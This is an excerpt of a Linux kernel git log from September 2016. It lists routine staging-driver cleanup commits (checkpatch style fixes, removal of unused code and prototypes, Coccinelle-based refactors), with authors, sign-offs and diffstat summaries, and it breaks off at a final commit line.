24586a35d3edfed3217fec3597861d52eb6d5814 Author: Sandhya Bankar Date: Sun Sep 18 23:02:33 2016 +0530 Staging: octeon: Add missing of_node_put after calling of_parse_phandle. of_node_put needs to be called when the device node which is got from of_parse_phandle is no longer used. This patch is found by below coccinelle script: @@ expression e,e1,e2; @@ *e = of_parse_phandle(...) ... when != of_node_put(e) when != true e == NULL when != e2 = e e = e1 Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/octeon/ethernet-mdio.c | 1 + 1 file changed, 1 insertion(+) commit cd9ae9e4db8a62cfbdaec2d73f8c34eea66c48d5 Author: sayli karnik Date: Mon Sep 19 20:02:40 2016 +0530 staging: i4l: act2000: Move assignment out of if statement This patch places assignments which are inside the if condition, above it. Done using coccinelle: @@ statement s; expression e; identifier id; @@ - if ((id = e)) + id = e; + if (id) s Signed-off-by: sayli karnik Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/module.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1e5a82e0ddfa6c9a2cf42ea87db3e079a4a483e6 Author: Sandhya Bankar Date: Mon Sep 19 00:31:12 2016 +0530 Staging: i4l: Remove unused variable Remove unused variable. This change is made by below coccinelle script: @@ type T; identifier i; constant C; @@ ( extern T i; | - T i; <+... when != i - i = C; ...+> ) Signed-off-by: Sandhya Bankar Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/act2000_isa.c | 2 -- 1 file changed, 2 deletions(-) commit 4b4a3e05c426b02b9728a0ab2bbfd20ad3294a71 Author: Sandhya Bankar Date: Sun Sep 18 05:38:34 2016 +0530 Staging: i4l: Use !x instead of x == NULL. Use !x instead of x == NULL. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/capi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit dfe996f275956b9039d49a6545684c739a39cab1 Author: Sandhya Bankar Date: Sun Sep 18 05:29:03 2016 +0530 Staging: i4l: Do not initialise statics to 0. Do not initialise statics to 0. Static variable by default initialise to 0, so no need to explicit initialisation. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/module.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5ccde0dc6a9f699c470334632b72a064e16b61df Author: Sandhya Bankar Date: Sun Sep 18 05:16:44 2016 +0530 Staging: i4l: Remove NULL comparison. This patch removes the explicit NULL comparison. This issue was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/act2000_isa.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d2a9334e7a12df52196f8e907cc71ec1dd917f61 Author: Brian Masney Date: Tue Sep 20 05:38:56 2016 -0400 staging: iio: isl29018: remove the FSF's mailing address Address warning from checkpatch: CHECK: Do not include the paragraph about writing to the Free Software Foundation's mailing address from the sample GPL notice. The FSF has changed addresses in the past, and may do so again. Linux already includes a copy of the GPL. Signed-off-by: Brian Masney Signed-off-by: Greg Kroah-Hartman drivers/staging/iio/light/isl29018.c | 4 ---- 1 file changed, 4 deletions(-) commit 748df3b1a429151ef05010792be254feeb83e201 Author: Georgiana Rodica Chelu Date: Mon Sep 19 19:35:09 2016 +0300 staging: iio: meter: ade7754: Match alignment with open parenthesis Reorganize the parameters to improve the readability of the code in two manners: - parameters of distinctive variable types on different lines - parameters of similar variable types on the same line Also, take advantage of the horizontal space available and place all the parameters on a single line. Issues found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/iio/meter/ade7754.c | 59 ++++++++++++++++--------------------- 1 file changed, 25 insertions(+), 34 deletions(-) commit 89237e06e2a57899424c8c51bada9b4046161e07 Author: Georgiana Rodica Chelu Date: Mon Sep 19 18:41:56 2016 +0300 staging: iio: meter: ade7758_ring: Match alignment with open parenthesis Organize the parameters on a single line to improve the readability of the code. Also, indent the line to match alignment with the open parenthesis. Ensure that the modifications do not break the rule of 80 characters per line. Issues found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Acked-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/staging/iio/meter/ade7758_ring.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit 106d43f18819f69784ddf216b5f05a84a03c0d38 Author: Rehas Sachdeva Date: Tue Sep 20 13:16:37 2016 +0530 staging: dgnc: Merge assignment with return Instead of storing the return value of a function call into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/dgnc/dgnc_tty.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit dc0283c7bc85669a52963d38553411d30a19a2f2 Author: Georgiana Rodica Chelu Date: Tue Sep 20 12:13:06 2016 +0300 staging: rtl8188eu: core: rtw_xmit: Remove extra braces Remove the braces {} in the following cases: - when there is a single branch with a single statement. - when both branches have a single statement The modifications improve the coding style. Issues found by checkpatch.pl script. Signed-off-by: Georgiana Rodica Chelu Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) commit 11975c56b6d130970ef31dbcd3f307baec253c18 Author: Sandhya Bankar Date: Tue Sep 20 14:37:43 2016 +0530 Staging: rtl8712: rtl871x_cmd: Use !x instead of x == NULL. Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl871x_cmd.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 78f70e6dfeb9d988a3211ac010dc62c22883c1ba Author: Sandhya Bankar Date: Tue Sep 20 14:36:17 2016 +0530 Staging: rtl8712: rtl8712_xmit: Use !x instead of x == NULL Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_xmit.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a667dbce78d115396cf3b3d1c6d3c6001865ea29 Author: Sandhya Bankar Date: Tue Sep 20 14:34:36 2016 +0530 Staging: rtl8712: rtl8712_recv: Use !x instead of x == NULL Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_recv.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit c43fcdd4434b7afef7f37bdad1c51b877cffc4ce Author: Sandhya Bankar Date: Tue Sep 20 14:31:50 2016 +0530 Staging: rtl8712: rtl8712_efuse: Use !x instead of x == NULL. Use !x instead of x == NULL. This patch was found by checkpatch. Signed-off-by: Sandhya Bankar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/rtl8712_efuse.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8e9253b77735406d2bfe7685d3d5c8b8a12617da Author: Namrata A Shettar Date: Mon Sep 19 20:27:56 2016 +0530 staging: rtl8192e: Insert blank line after function declaration Insert blank line after function declaration to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/dot11d.h | 1 + 1 file changed, 1 insertion(+) commit 986fb011c4074650f1ff5e000abccf1f6162f0c1 Author: Namrata A Shettar Date: Mon Sep 19 20:27:46 2016 +0530 staging: rtl8192e: Add space around binary operator '+' Add space around binary operator '+' to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/dot11d.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1fa3a915b56ded00710d6f8bf8ed936bc0bb784c Author: Namrata A Shettar Date: Mon Sep 19 20:27:37 2016 +0530 staging: rtl8192e: Remove unnecessary blank lines Remove unneccessary blank lines to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/dot11d.c | 2 -- 1 file changed, 2 deletions(-) commit b80fa1845d4bd20e99be116a049327fbe8281e42 Author: Namrata A Shettar Date: Mon Sep 19 20:27:26 2016 +0530 staging: rtl8192e: Add space around '+' Add space around '+' to resolve checkpatch issue. Signed-off-by: Namrata A Shettar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/dot11d.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit efdcb35a82fdd6e91b890efd3d5a5d4045e64c08 Author: Bhumika Goyal Date: Sun Sep 18 17:56:24 2016 +0530 Staging: rtl8192u: Remove useless type conversion Some type conversions like casting a pointer to a pointer of same type, casting to the original type using addressof(&) operator etc. are not needed. Therefore, remove them. Done using coccinelle: @@ type t; t *p; t a; @@ ( - (t)(a) + a | - (t *)(p) + p | - (t *)(&a) + &a ) Signed-off-by: Bhumika Goyal Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/ieee80211/ieee80211_rx.c | 2 +- drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c | 2 +- drivers/staging/rtl8192u/ieee80211/rtl819x_BAProc.c | 6 +++--- drivers/staging/rtl8192u/r8192U_core.c | 10 +++++----- drivers/staging/rtl8192u/r8192U_dm.c | 6 +++--- 5 files changed, 13 insertions(+), 13 deletions(-) commit 182eec0eb75fc17455ff4d77f5e37ae4f0c5ea1c Author: Xavier Roumegue Date: Mon Sep 19 14:49:24 2016 +0200 staging: rtl8192u: r8192U_core: fix checkpatch permission warnings Fix the following warnings: Symbolic permissions are not preferred. Consider using octal permissions. Signed-off-by: Xavier Roumegue Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192u/r8192U_core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 177aa53a0d11b258a6615a042380fe7abf15d780 Author: Ivan Safonov Date: Mon Sep 19 00:28:06 2016 +0700 staging: r8188eu: remove GET_HAL_DATA macro GET_HAL_DATA replaced by its definition. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_sreset.c | 9 +-- drivers/staging/rtl8188eu/hal/bb_cfg.c | 13 ++-- drivers/staging/rtl8188eu/hal/odm.c | 17 ++--- drivers/staging/rtl8188eu/hal/phy.c | 40 ++++------ drivers/staging/rtl8188eu/hal/rf.c | 16 ++-- drivers/staging/rtl8188eu/hal/rf_cfg.c | 6 +- drivers/staging/rtl8188eu/hal/rtl8188e_cmd.c | 18 ++--- drivers/staging/rtl8188eu/hal/rtl8188e_dm.c | 28 +++---- drivers/staging/rtl8188eu/hal/rtl8188e_hal_init.c | 26 +++---- drivers/staging/rtl8188eu/hal/rtl8188e_rxdesc.c | 4 +- drivers/staging/rtl8188eu/hal/rtl8188eu_led.c | 6 +- drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 22 ++---- drivers/staging/rtl8188eu/hal/usb_halinit.c | 91 +++++++++-------------- drivers/staging/rtl8188eu/include/rtl8188e_hal.h | 3 - drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 12 +-- 15 files changed, 124 insertions(+), 187 deletions(-) commit bc15ada3dc74e2004749c3d49bcbc0debb6ec878 Author: Ivan Safonov Date: Mon Sep 19 00:27:43 2016 +0700 staging: r8188eu: remove GET_RF_TYPE macro This macro does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/rtl8188e_hal.h | 1 - 1 file changed, 1 deletion(-) commit 47f7bd29b9bf60b909ca2879f4ba096acebbfe81 Author: Ivan Safonov Date: Mon Sep 19 00:27:32 2016 +0700 staging: r8188eu: set correct type for HalData member of adapter structure To avoid unnecessary typecast. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/drv_types.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 693882a56d974ca4233f9beb5aac585d123af175 Author: Ivan Safonov Date: Mon Sep 19 00:27:16 2016 +0700 staging: r8188eu: remove HW_VAR_DM_FLAG member of hw_variables enumeration rtw_hal_set_hwreg and rtw_hal_get_hwreg does not used with HW_VAR_DM_FLAG parameter. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/usb_halinit.c | 7 ------- drivers/staging/rtl8188eu/include/hal_intf.h | 1 - 2 files changed, 8 deletions(-) commit 77c13d04925819bfb5cd5d35da75e62c1adc0c4c Author: Ivan Safonov Date: Mon Sep 19 00:26:29 2016 +0700 staging: r8188eu: remove usb_hal.h usb_hal.h is empty. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/hal_intf.c | 1 - drivers/staging/rtl8188eu/hal/usb_halinit.c | 1 - drivers/staging/rtl8188eu/include/usb_hal.h | 18 ------------------ drivers/staging/rtl8188eu/os_dep/os_intfs.c | 2 -- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 1 - 5 files changed, 23 deletions(-) commit 6955832f1375eb29b005128c51df0b73c209fcba Author: Ivan Safonov Date: Mon Sep 19 00:26:16 2016 +0700 staging: r8188eu: remove rtl8188eu_set_hal_ops function rtl8188eu_set_hal_ops only allocates HalData member of adapter structure. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/usb_halinit.c | 7 ------- drivers/staging/rtl8188eu/include/usb_hal.h | 2 -- drivers/staging/rtl8188eu/os_dep/usb_intf.c | 7 +++++-- 3 files changed, 5 insertions(+), 11 deletions(-) commit fb1134087568dad2b974669ebcee09718b7fdc80 Author: Ivan Safonov Date: Mon Sep 19 00:25:40 2016 +0700 staging: r8188eu: replace N_BYTE_ALIGMENT macro with PTR_ALIGN PTR_ALIGN is a bit shorter than N_BYTE_ALIGMENT. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_recv.c | 2 +- drivers/staging/rtl8188eu/core/rtw_xmit.c | 6 +++--- drivers/staging/rtl8188eu/include/basic_types.h | 4 ---- drivers/staging/rtl8188eu/os_dep/xmit_linux.c | 2 +- 4 files changed, 5 insertions(+), 9 deletions(-) commit 8fc01db37dfe00f748eb548d304640fc3148b2ab Author: Ivan Safonov Date: Mon Sep 19 00:25:25 2016 +0700 staging: r8188eu: delete rtw_usb_bulk_size_boundary function This function does not used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/include/usb_ops_linux.h | 15 --------------- 1 file changed, 15 deletions(-) commit 111e4e5ac225a2b517994ae499fde729c7e4c551 Author: Ivan Safonov Date: Mon Sep 19 00:24:54 2016 +0700 staging: r8188eu: remove pkt_hdrlen member of pkt_attrib structure pkt_hdrlen has a constant value. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/core/rtw_xmit.c | 4 +--- drivers/staging/rtl8188eu/include/rtw_xmit.h | 1 - 2 files changed, 1 insertion(+), 4 deletions(-) commit bc9886d32e631edf6db67feee195e6eed1a21786 Author: Ivan Safonov Date: Mon Sep 19 00:24:01 2016 +0700 staging: r8188eu: remove xmitframe_direct function xmitframe_direct is a simple wrapper around rtw_xmitframe_coalesce and rtw_dump_xframe functions. Many wrappers complicates code reading. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) commit 43969aa7e8506765412087f5c1fc5ae4f0fe5d9a Author: Ivan Safonov Date: Mon Sep 19 00:23:42 2016 +0700 staging: r8188eu: change last argument type of the usb_write_port function usb_write_port writes only xmit_buf object data to device. In addition, an appropriate name for this argument is used. Signed-off-by: Ivan Safonov Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8188eu/hal/rtl8188eu_xmit.c | 4 ++-- drivers/staging/rtl8188eu/include/usb_ops_linux.h | 2 +- drivers/staging/rtl8188eu/os_dep/usb_ops_linux.c | 29 +++++++++++------------ 3 files changed, 17 insertions(+), 18 deletions(-) commit d37843d1a956bf87e219067a0f45bc82db260216 Author: Rehas Sachdeva Date: Tue Sep 20 13:18:40 2016 +0530 staging: wilc1000: Merge assignment with return Instead of storing the return value into a variable and then returning it, we can club the two into a single return statement. This change was made using the following semantic patch by Coccinelle: @@ local idexpression ret; expression e; @@ -ret = +return e; -return ret; Signed-off-by: Rehas Sachdeva Signed-off-by: Greg Kroah-Hartman drivers/staging/wilc1000/host_interface.c | 5 +---- drivers/staging/wilc1000/wilc_spi.c | 3 +-- drivers/staging/wilc1000/wilc_wlan.c | 3 +-- 3 files changed, 3 insertions(+), 8 deletions(-) commit 51319662d6ac5729a1950579d70808d94e4fa8e6 Author: David Kershner Date: Mon Sep 19 17:09:37 2016 -0400 staging: unisys: visorbus: move parahotplug_request_list and related lock parahotplug_request_list and parahotplug_request_list_lock should be defined closer to where we are actually using them. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7a0ee694889694c49d4ebe99dce30e699f832396 Author: David Kershner Date: Mon Sep 19 17:09:36 2016 -0400 staging: unisys: visorbus: remove fix_vbus_dev_info prototype Move the visordriver_probe_device and visorbus_register_visor_driver functions lower in the file to get rid of the function prototype fix_vbus_dev_info. Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 256 ++++++++++++------------ 1 file changed, 127 insertions(+), 129 deletions(-) commit 7993b40cd772cae9890f81fb0ea809130a732c5e Author: David Kershner Date: Mon Sep 19 17:09:35 2016 -0400 staging: unisys: visorbus move visorbus_type to remove prototypes Move the struct visorbus_type down in the file to get rid of the function prototypes visorbus_uevent and visorbus_match. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 26 ++++++++++++------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit ebeff0558c0a311f4c5d432c69c32b9502219190 Author: David Kershner Date: Mon Sep 19 17:09:34 2016 -0400 staging: unisys: visorbus: move deviceenabled/disabled store functions Move the deviceenabled/devicedisabled store functions so that function prototypes can be removed. This caused us to move several of the structures farther down in the file as well. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 418 ++++++++++++------------- 1 file changed, 205 insertions(+), 213 deletions(-) commit 97f792ee3cd6f62551f6247ca36492615e26cb5e Author: David Kershner Date: Mon Sep 19 17:09:33 2016 -0400 staging: unisys: visorbus: move the remaining_steps_show/store functions Moving the remaining_steps functions allows us to get rid of an unneeded prototype. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 62 ++++++++++++-------------- 1 file changed, 28 insertions(+), 34 deletions(-) commit 79730c7c8148f68144540181b8b53b1e9639f9b7 Author: David Kershner Date: Mon Sep 19 17:09:32 2016 -0400 staging: unisys: visorbus: move textid store and show functions The textid store and show functions were moved to allow us to remove the function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 63 ++++++++++++-------------- 1 file changed, 29 insertions(+), 34 deletions(-) commit 8a4a8a03d3a378694ba4170370a447d3e0df3ad9 Author: David Kershner Date: Mon Sep 19 17:09:31 2016 -0400 staging: unisys: visorbus: move error store/show functions Move the show and store functions for the error DEV_ATTR_RW so that the function prototypes can be removed. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 61 ++++++++++++-------------- 1 file changed, 28 insertions(+), 33 deletions(-) commit 65cb1a8c5471ee2aed372dbf69a51457d15de056 Author: David Kershner Date: Mon Sep 19 17:09:28 2016 -0400 staging: unisys: visorbus: remove parser_done prototype Remove the unneeded prototype parser_done. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 3 --- 1 file changed, 3 deletions(-) commit dd845d3632135c5e17aaadccddda56f849b03201 Author: David Kershner Date: Mon Sep 19 17:09:27 2016 -0400 staging: unisys: visorbus: remove controlvm_respond_physdev_changestate Remove the unneeded prototype declaration for function controlvm_respond_physdev_changestate. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 4 ---- 1 file changed, 4 deletions(-) commit 612b81c9315c60f3ab921cf87e1740e087a103de Author: David Kershner Date: Mon Sep 19 17:09:22 2016 -0400 staging: unisys: visorbus: move parser_init_byte_stream The function parser_init_byte_stream needs to be moved lower in the file to avoid extraneous function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 116 ++++++++++++------------- 1 file changed, 58 insertions(+), 58 deletions(-) commit 13a08259187c5cd3f63d98efa159ab42976d85a4 Merge: 09284b9 1c5ebba 423595e 615cca8 b1e2afc 6e0a166 Author: Joerg Roedel Date: Tue Sep 20 13:27:09 2016 +0200 Merge branches 'x86/amd', 'x86/vt-d', 'arm/exynos', 'arm/mediatek', 'arm/renesas' and 'arm/smmu' into next commit 1b1d463d08be0785b48ad8b23446ac13f726a60b Author: David Kershner Date: Mon Sep 19 17:09:30 2016 -0400 staging: unisys: visorbus: move boottotool Move the boottotool show and store functions so the function prototypes can be removed. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 72 ++++++++++++-------------- 1 file changed, 33 insertions(+), 39 deletions(-) commit 84efd2077c1e935c4123e5688ba86062f608bb73 Author: David Kershner Date: Mon Sep 19 17:09:29 2016 -0400 staging: unisys: visorbus: move toolaction functions to remove prototypes The toolchain functions show and store needed to be moved so the prototypes were no longer needed. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 64 ++++++++++++-------------- 1 file changed, 29 insertions(+), 35 deletions(-) commit 5f2513950f1f8b9acc740720b89389b2aa24ac72 Author: David Kershner Date: Mon Sep 19 17:09:26 2016 -0400 staging: unisys: visorbus: remove controlvm_respond_chipset_init prototype Remove the unneeded controlvm_respond_chipset_init prototype by moving the functions controlvm_init_response and controlvm_respond_chipset_init up in the file. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 63 ++++++++++++-------------- 1 file changed, 30 insertions(+), 33 deletions(-) commit 992228b2b0f2d7a1efc9cc21c21f1a3dea9c50f5 Author: David Kershner Date: Mon Sep 19 17:09:25 2016 -0400 staging: unisys: visorbus: remove prototype controlvm_respond Remove the unneeded prototype for controlvm_respond. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 2 -- 1 file changed, 2 deletions(-) commit a9c73937436a412aed24c08595a31b7bf9e10dd6 Author: David Kershner Date: Mon Sep 19 17:09:24 2016 -0400 staging: unisys: visorbus: move parahotplug_process_list The function parahotplug_process_list needs to be moved lower in the file to avoid extraneous function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 63 +++++++++++++------------- 1 file changed, 31 insertions(+), 32 deletions(-) commit 8a2853279b3316558d4a5a34b06b6890ebc65613 Author: David Kershner Date: Mon Sep 19 17:09:23 2016 -0400 staging: unisys: visorbus: move read_controlvm_event The function read_controlvm_event needs to be moved lower in the file to avoid extraneous function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 42 +++++++++++++------------- 1 file changed, 21 insertions(+), 21 deletions(-) commit 511474a5077b088f92166a7875af5e6fa428e465 Author: David Kershner Date: Mon Sep 19 17:09:21 2016 -0400 staging: unisys: visorbus: move handle_command Handle_command gets moved lower in the file to avoid the need for extraneous function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 230 ++++++++++++------------- 1 file changed, 115 insertions(+), 115 deletions(-) commit 3d8394c86f1b482ec2509e5a152484a27cc6cc74 Author: David Kershner Date: Mon Sep 19 17:09:20 2016 -0400 staging: unisys: visorbus: reorder controlvm_periodic_work Move controlvm_periodic_work lower in the file to avoid having to create function prototypes. Reported-by: Greg Kroah-Hartman Signed-off-by: David Kershner Reviewed-by: Tim Sell Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 134 ++++++++++++------------- 1 file changed, 67 insertions(+), 67 deletions(-) commit c071b6f541b62f4d143cc4316e4b1167dcaea8fe Author: Jon Frisch Date: Mon Sep 19 17:09:19 2016 -0400 staging: unisys: visorbus: move controlvm_payload_bytes_buffered This patch moves the unsigned long controlvm_payload_bytes_buffered from the module parameters location to a more appropriate location below the controlvm_payload_info. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 820b11b6bb4924598524750201cf9360013fe7b7 Author: Jon Frisch Date: Mon Sep 19 17:09:18 2016 -0400 staging: unisys: visorbus: remove unused dump_vhba_bus This patch removes the unused u32 dump_vhba_bus. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit fbd5232109491118eba16773ea2db39b223edde3 Author: Jon Frisch Date: Mon Sep 19 17:09:17 2016 -0400 staging: unisys: visorbus: remove unused long long bus_count This patch removes the unused long long bus_count. Signed-off-by: Jon Frisch Signed-off-by: David Kershner Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorbus_main.c | 5 ----- 1 file changed, 5 deletions(-) commit 41ef5e5a4ad5044841296098b90b4f9da0d264f4 Author: Jon Frisch Date: Mon Sep 19 17:09:16 2016 -0400 staging: unisys: visorbus remove unused module parameter This patch removes the unused module parameter visorchipset_visorbusregwait Signed-off-by: Jon Frisch Signed-off-by: David Kershner Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/unisys/visorbus/visorchipset.c | 4 ---- 1 file changed, 4 deletions(-) commit 79cb2b26f54e8831342f3598393bb894e15c01f6 Author: Chaehyun Lim Date: Tue Sep 20 09:47:30 2016 +0900 staging: greybus: use preferred kernel type u16 As suggested by checkpatch.pl: CHECK: Prefer kernel type 'u16' over 'uint16_t' Signed-off-by: Chaehyun Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 12 ++++++------ drivers/staging/greybus/audio_codec.h | 16 ++++++++-------- drivers/staging/greybus/audio_gb.c | 18 +++++++++--------- 3 files changed, 23 insertions(+), 23 deletions(-) commit 31959392c7db09c13af07dcdc409d306aaa03d4f Author: Chaehyun Lim Date: Tue Sep 20 09:47:29 2016 +0900 staging: greybus: use preferred kernel type u8 As suggested by checkpatch.pl: CHECK: Prefer kernel type 'u8' over 'uint8_t' Signed-off-by: Chaehyun Lim Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 6 +++--- drivers/staging/greybus/audio_codec.h | 18 +++++++++--------- drivers/staging/greybus/audio_gb.c | 16 ++++++++-------- 3 files changed, 20 insertions(+), 20 deletions(-) commit 6e0a16673c60386361ea37bde4190dd31d7bcd3e Merge: 3be7988 82db33d Author: Joerg Roedel Date: Tue Sep 20 13:24:14 2016 +0200 Merge branch 'for-joerg/arm-smmu/updates' of git://git.kernel.org/pub/scm/linux/kernel/git/will/linux into arm/smmu commit 19c5a689cc3df512a817b7eb717bad24bb5bd7e8 Author: Anchal Jain Date: Sun Sep 18 21:24:12 2016 +0530 staging: lustre: lnet: klnds: socklnd: Remove unnecessary line continuations Fixes checkpatch warning: WARNING: Avoid unnecessary line continuations Signed-off-by: Anchal Jain Acked-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lnet/klnds/socklnd/socklnd_cb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 